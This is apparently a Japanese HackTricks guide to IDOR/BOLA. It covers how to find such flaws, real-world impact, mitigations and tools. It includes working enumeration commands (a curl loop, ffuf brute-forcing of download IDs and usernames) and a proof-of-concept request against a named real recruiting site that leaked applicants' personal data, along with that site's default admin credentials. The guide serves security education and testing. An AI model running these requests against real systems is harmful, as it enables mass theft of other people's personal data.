IDOR (Insecure Direct Object Reference)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web や API のエンドポイントがユーザーが制御できる識別子を公開したり受け取ったりし、その識別子が内部オブジェクトにアクセスするために直接使われ、呼び出し元がそのオブジェクトへアクセス/変更する権限があるかどうかを確認していない場合に発生します。 成功した悪用は通常、他ユーザーのデータの読み取りや変更といった横方向または縦方向の権限昇格を許し、最悪の場合はアカウントの完全乗っ取りや大量データの持ち出しにつながります。


1. 潜在的な IDOR の特定

  1. オブジェクトを参照するパラメータを探す:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. データを読み取りまたは更新するエンドポイント(GET, PUT, PATCH, DELETE)を優先する。
  2. 識別子が連続的または予測可能かどうかに注意する – あなたのIDが 64185742 なら、64185741 も存在する可能性が高い。
  3. ログインページの “Paradox team members” リンクのような隠れたまたは代替フローを探索して、追加のAPIが露出していないか確認する。
  4. 権限の低い認証済みセッションを使用し、同じトークン/クッキーを保持したままIDのみを変更する。認可エラーが出ない場合は通常 IDOR の兆候である。

簡単な手動改ざん (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

自動列挙 (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

予測可能なダウンロードIDの列挙 (ffuf)

認証済みのファイルホスティングパネルは、ユーザーごとのメタデータを単一の files テーブルに格納し、/download.php?id=<int> のようなダウンロードエンドポイントを公開していることが多い。
ハンドラがIDの存在のみを確認し(該当IDが認証済みユーザーに属しているかを確認しない)場合、有効な session cookie を使って整数空間を総当たりし、他のテナントのバックアップや設定を盗み出すことができます:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr は 404-style templates を削除し、真のヒットのみを残します(例: IDs 54/150 leaking full site backups and signing material)。
  • 同じ FFUF workflow は Burp Intruder や curl ループでも動作します — ID を増やす間は必ず authenticated を維持してください。

Error-response oracle for user/file enumeration

When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:

  • 存在しない username → “User not found”
  • filename が不正だが拡張子は有効 → “File does not exist”(場合によっては利用可能なファイルも列挙される)
  • 拡張子が不正 → バリデーションエラー

With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the “user not found” string to discover valid users:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

有効なユーザー名が特定されたら、特定のファイルを直接リクエストします(例: /view.php?username=amanda&file=privacy.odt)。このパターンは、他ユーザーのドキュメントの不正開示や credential leakage を招くことがよくあります。


2. 実際の事例 – McHire Chatbot Platform (2025)

Paradox.ai によって動作する McHire 採用ポータルの評価中に、次の IDOR が発見されました:

  • エンドポイント: PUT /api/lead/cem-xhr
  • Authorization: user session cookie(任意のレストランのテストアカウント用)
  • Body parameter: {"lead_id": N} – 8桁、連番の数値識別子

lead_id を減少させることで、テスターは任意の応募者の full PII(氏名、メールアドレス、電話番号、住所、シフト希望)と、session hijacking を可能にする消費者用 JWT を取得しました。1 – 64,185,742 の範囲をEnumerationしたところ、約 64 million 件のレコードが露出しました。

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

テストアカウントへのアクセスを許可するデフォルト管理者資格情報123456:123456)と組み合わさり、この脆弱性は企業全体に及ぶ重大なデータ漏洩を引き起こしました。


3. IDOR / BOLA の影響

  • 横方向の権限昇格 — 他のユーザーのデータを読み取り/更新/削除できる。
  • 縦方向の権限昇格 — 権限の低いユーザーが管理者専用機能を利用できるようになる。
  • 識別子が連番の場合(例:applicant IDs、invoices)には大規模なデータ漏洩が発生する可能性がある。
  • 他ユーザーのトークンを盗む、またはパスワードをリセットすることでアカウントを乗っ取られる。

4. 緩和策とベストプラクティス

  1. すべてのリクエストでオブジェクトレベルの認可を強制するuser_id == session.user)。
  2. 推測不可能な間接識別子(UUIDv4、ULID)を自動インクリメントIDの代わりに使用する。
  3. 認可はサーバー側で行い、隠しフォームフィールドやUIコントロールに依存しない。
  4. 中央のミドルウェアでRBAC / ABACチェックを実装する。
  5. ID列挙を検出するためにレート制限とログ記録を追加する。
  6. 新しいエンドポイントごとにセキュリティテストを実施する(ユニット、統合、DAST)。

5. ツール

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする